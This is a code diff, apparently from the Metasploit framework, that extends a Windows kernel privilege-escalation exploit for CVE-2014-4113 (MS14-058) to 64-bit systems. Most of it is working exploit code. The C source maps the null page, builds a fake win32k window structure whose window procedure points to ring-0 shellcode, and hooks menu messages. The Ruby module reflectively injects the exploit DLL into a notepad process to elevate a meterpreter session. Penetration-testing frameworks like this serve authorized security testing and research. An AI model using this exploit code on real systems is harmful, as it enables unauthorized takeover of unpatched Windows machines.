diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll
new file mode 100755
index 0000000000..cc1dc87d63
Binary files /dev/null and b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll differ
diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll
index a554809b82..7f5fc4240b 100755
Binary files a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll and b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll differ
diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln
index 314fd96ad2..62c99261f9 100755
--- a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln
+++ b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln
@@ -1,18 +1,26 @@
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Express 2013 for Windows Desktop
+VisualStudioVersion = 12.0.30723.0
+MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
+ Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
+ Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
+ {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64
+ {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
+ {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64
+ {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c
index fd67c17bae..b9cafa1a06 100755
--- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c
+++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c
@@ -16,9 +16,13 @@ typedef NTSTATUS *PNTSTATUS;
#define DEBUGGING FALSE
+#ifdef _M_X64
+typedef unsigned __int64 QWORD;
+typedef QWORD *PQWORD;
+#endif
+
int WndProcClue = 0;
int HookCallbackClue = 0;
-int HookCallbackThreeClue = 0;
WNDPROC lpPrevWndFunc;
DWORD MyProcessId = 0;
DWORD OffsetWindows = 0;
@@ -45,15 +49,15 @@ typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
);
typedef struct _SYSTEM_MODULE {
- ULONG Reserved1;
- ULONG Reserved2;
+ HANDLE Reserved1;
+ PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
- WORD Id;
- WORD Rank;
- WORD w018;
- WORD NameOffset;
+ USHORT Id;
+ USHORT Rank;
+ USHORT w018;
+ USHORT NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
@@ -66,48 +70,28 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
-LRESULT __stdcall HookCallbackThree(int code, WPARAM wParam, LPARAM lParam)
+
+long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
- if (wParam == 4 && *(DWORD *)lParam == GetCurrentThreadId() && *(DWORD *)(lParam + 12) == 0x900516)
- HookCallbackThreeClue = 1;
- return CallNextHookEx(0, code, wParam, lParam);
+ EndMenu();
+ return -5;
}
-LRESULT __stdcall HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
-{
- LRESULT result;
- DWORD v5;
-
- if (Msg == 0x1EB)
- {
- v5 = GetCurrentThreadId();
- SetWindowsHookExA(9, HookCallbackThree, 0, v5);
- SendMessageA(hWnd, 0, 0x900516u, 0);
- UnhookWindowsHook(9, HookCallbackThree);
- if (HookCallbackThreeClue)
- {
- EndMenu();
- result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, lParam);
- }
- else
- {
- EndMenu();
- result = -5;
- }
- }
- else
- {
- result = CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
- }
- return result;
-}
-
-LRESULT __stdcall HookCallback(int code, WPARAM wParam, LPARAM lParam) {
+LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
+#ifdef _M_X64
+ if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue)
+#else
if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue)
+#endif
{
HookCallbackClue = 1;
- if (UnhookWindowsHook(4, HookCallback))
- lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)HookCallbackTwo);
+ if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
+#ifdef _M_X64
+ lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 24), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
+#else
+ lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
+#endif
+ }
}
return CallNextHookEx(0, code, wParam, lParam);
}
@@ -122,13 +106,21 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
return DefWindowProc(hwnd, msg, wParam, lParam);
}
+#ifdef _M_X64
+QWORD MyPtiCurrent(void) {
+ void *teb = (void *)__readgsqword(0x30);
+ QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78));
+ return Win32ThreadInfo;
+}
+#else
DWORD __stdcall MyPtiCurrent() {
__asm {
mov eax, fs : 18h
mov eax, [eax + 40h]
}
}
+#endif
int _stdcall shellcode_ring0(int one, int two, int three, int four) {
void *my_process_info = NULL;
@@ -151,6 +143,7 @@ LogMessage(char* pszFormat, ...) {
va_list args;
va_start(args, pszFormat);
vsprintf(s_acBuf, pszFormat, args);
+ printf("%s\n", s_acBuf);
OutputDebugString(s_acBuf);
va_end(args);
}
@@ -184,6 +177,12 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
+#ifdef _M_X64
+ if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
+ LogMessage("[*] Windows 6.1 found...");
+ OffsetWindows = 0x208;
+ }
+#else
if (VersionInformation.dwMajorVersion == 6) {
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found...");
@@ -212,6 +211,7 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
}
+#endif
else {
LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
return;
@@ -306,9 +306,13 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
+#ifdef _M_X64
+ pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl));
+ LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId);
+#else
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl));
-
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId);
+#endif
MyProcessId = GetCurrentProcessId();
@@ -336,7 +340,11 @@ void Win32kNullPage(LPVOID lpPayload) {
// Making everything ready for exploitation...
LogMessage("[*] Allocating null page...");
+#ifdef _M_X64
+ ULONGLONG base_address = 0x00000000fffffffb;
+#else
DWORD base_address = 1;
+#endif
SIZE_T region_size = 0x1000;
ULONG zero_bits = 0;
HANDLE current_process = NULL;
@@ -350,7 +358,11 @@ void Win32kNullPage(LPVOID lpPayload) {
LogMessage("[*] Getting PtiCurrent...");
+#ifdef _M_X64
+ ULONGLONG pti = MyPtiCurrent();
+#else
DWORD pti = MyPtiCurrent();
+#endif
if (pti == 0) {
LoadLibrary("user32.dll");
@@ -363,11 +375,28 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
else {
+#ifdef _M_X64
+ LogMessage("[*] Good! pti 0x%016llx", pti);
+#else
LogMessage("[*] Good! pti 0x%08x", pti);
+#endif
}
-
LogMessage("[*] Creating a fake structure at NULL...");
+
+#ifdef _M_X64
+ void *test = NULL;
+ (QWORD)test = 0x10000000B;
+ *((PQWORD)test) = pti;
+
+ /* win32k!tagWND->bServerSideWindowProc = TRUE */
+ (QWORD)test = 0x100000025;
+ *((PBYTE)test) = 4;
+
+ /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
+ (QWORD)test = 0x10000008B;
+ *((PQWORD)test) = &shellcode_ring0;
+#else
void *test = promise_land + 3;
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
.text:BF8B93F4 02C mov edi, _gptiCurrent
@@ -380,7 +409,7 @@ void Win32kNullPage(LPVOID lpPayload) {
test = promise_land + 0x5b;
*(LPDWORD)test = (DWORD)shellcode_ring0;
-
+#endif
// Exploit!
@@ -394,7 +423,7 @@ void Win32kNullPage(LPVOID lpPayload) {
MENUITEMINFOA MenuOneInfo;
memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
- MenuOneInfo.fMask = 64;
+ MenuOneInfo.fMask = MIIM_STRING;
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) {
LogMessage("[!] First InsertMenuItemA failed");
@@ -412,7 +441,7 @@ void Win32kNullPage(LPVOID lpPayload) {
MENUITEMINFOA MenuTwoInfo;
memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
- MenuTwoInfo.fMask = 68;
+ MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
MenuTwoInfo.dwTypeData = "";
MenuTwoInfo.cch = 1;
MenuTwoInfo.hSubMenu = MenuOne;
@@ -423,8 +452,7 @@ void Win32kNullPage(LPVOID lpPayload) {
return;
}
- DWORD thread_id = GetCurrentThreadId();
- if (SetWindowsHookExA(4, HookCallback, NULL, thread_id) == NULL) {
+ if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) {
LogMessage("[!] SetWindowsHookExA failed :-(\n");
DestroyMenu(MenuTwo);
DestroyMenu(MenuOne);
diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj
index 36e6aba5fd..fe5f68951d 100755
--- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj
+++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj
@@ -5,10 +5,18 @@
Debug
Win32
+
+ Debug
+ x64
+
Release
Win32
+
+ Release
+ x64
+
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}
@@ -22,6 +30,13 @@
MultiByte
v120
+
+ DynamicLibrary
+ true
+ false
+ MultiByte
+ v120
+
DynamicLibrary
false
@@ -29,22 +44,41 @@
MultiByte
v120
+
+ DynamicLibrary
+ false
+ false
+ MultiByte
+ v120
+
+
+
+
+
+
+
../../../ReflectiveDLLInjection/common;$(IncludePath)
+
+ ../../../ReflectiveDLLInjection/common;$(IncludePath)
+
../../../ReflectiveDLLInjection/common;$(IncludePath)
+
+ ../../../ReflectiveDLLInjection/common;$(IncludePath)
+
CompileAsC
@@ -60,6 +94,21 @@
$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)
+
+
+ CompileAsC
+ Level3
+ Disabled
+ true
+ true
+ MultiThreaded
+
+
+ true
+ true
+ $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)
+
+
CompileAsC
@@ -76,10 +125,26 @@
$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)
+
+
+ CompileAsC
+ Level3
+ Disabled
+ true
+ true
+ Default
+ MultiThreaded
+
+
+ false
+ true
+ $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)
+
+
-
+
\ No newline at end of file
diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
index 135e6e6fc9..2b9ccf5894 100644
--- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
+++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
@@ -24,15 +24,17 @@ class Metasploit3 < Msf::Exploit::Local
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
- 2003 SP2, Windows 7 SP1 and Windows 2008 32bits.
+ 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
+ 2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
- 'juan vazquez' # msf module
+ 'juan vazquez', # msf module (x86 target)
+ 'Spencer McIntyre' # msf module (x64 target)
],
- 'Arch' => ARCH_X86,
+ 'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
@@ -46,14 +48,18 @@ class Metasploit3 < Msf::Exploit::Local
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
- [ 'Windows 32 bits', { } ]
+ [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+ # Tested on (64 bits):
+ # * Windows 7 SP1
+ # * Windows 2008 R2 SP1
+ [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
- 'Payload' =>
+ 'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
- 'References' =>
+ 'References' =>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
@@ -73,11 +79,27 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Unknown
end
+ if sysinfo["Architecture"] =~ /(wow|x)64/i
+ arch = ARCH_X86_64
+ elsif sysinfo["Architecture"] =~ /x86/i
+ arch = ARCH_X86
+ end
+
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
- Exploit::CheckCode::Detected
+ # Neither target suports Windows 8 or 8.1
+ return Exploit::CheckCode::Safe if build == 9200
+ return Exploit::CheckCode::Safe if build == 9600
+
+ if arch == ARCH_X86
+ return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
+ else
+ return Exploit::CheckCode::Detected if build == 7601
+ end
+
+ return Exploit::CheckCode::Unknown
end
def exploit
@@ -85,10 +107,16 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
+ if check == Exploit::CheckCode::Safe
+ fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
+ end
+
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
- elsif sysinfo["Architecture"] =~ /x64/
- fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
+ elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
+ fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
+ elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
+ fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
@@ -104,7 +132,13 @@ class Metasploit3 < Msf::Exploit::Local
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
- library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', 'cve-2014-4113.x86.dll')
+ if target.arch.first == ARCH_X86
+ dll_file_name = 'cve-2014-4113.x86.dll'
+ else
+ dll_file_name = 'cve-2014-4113.x64.dll'
+ end
+
+ library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")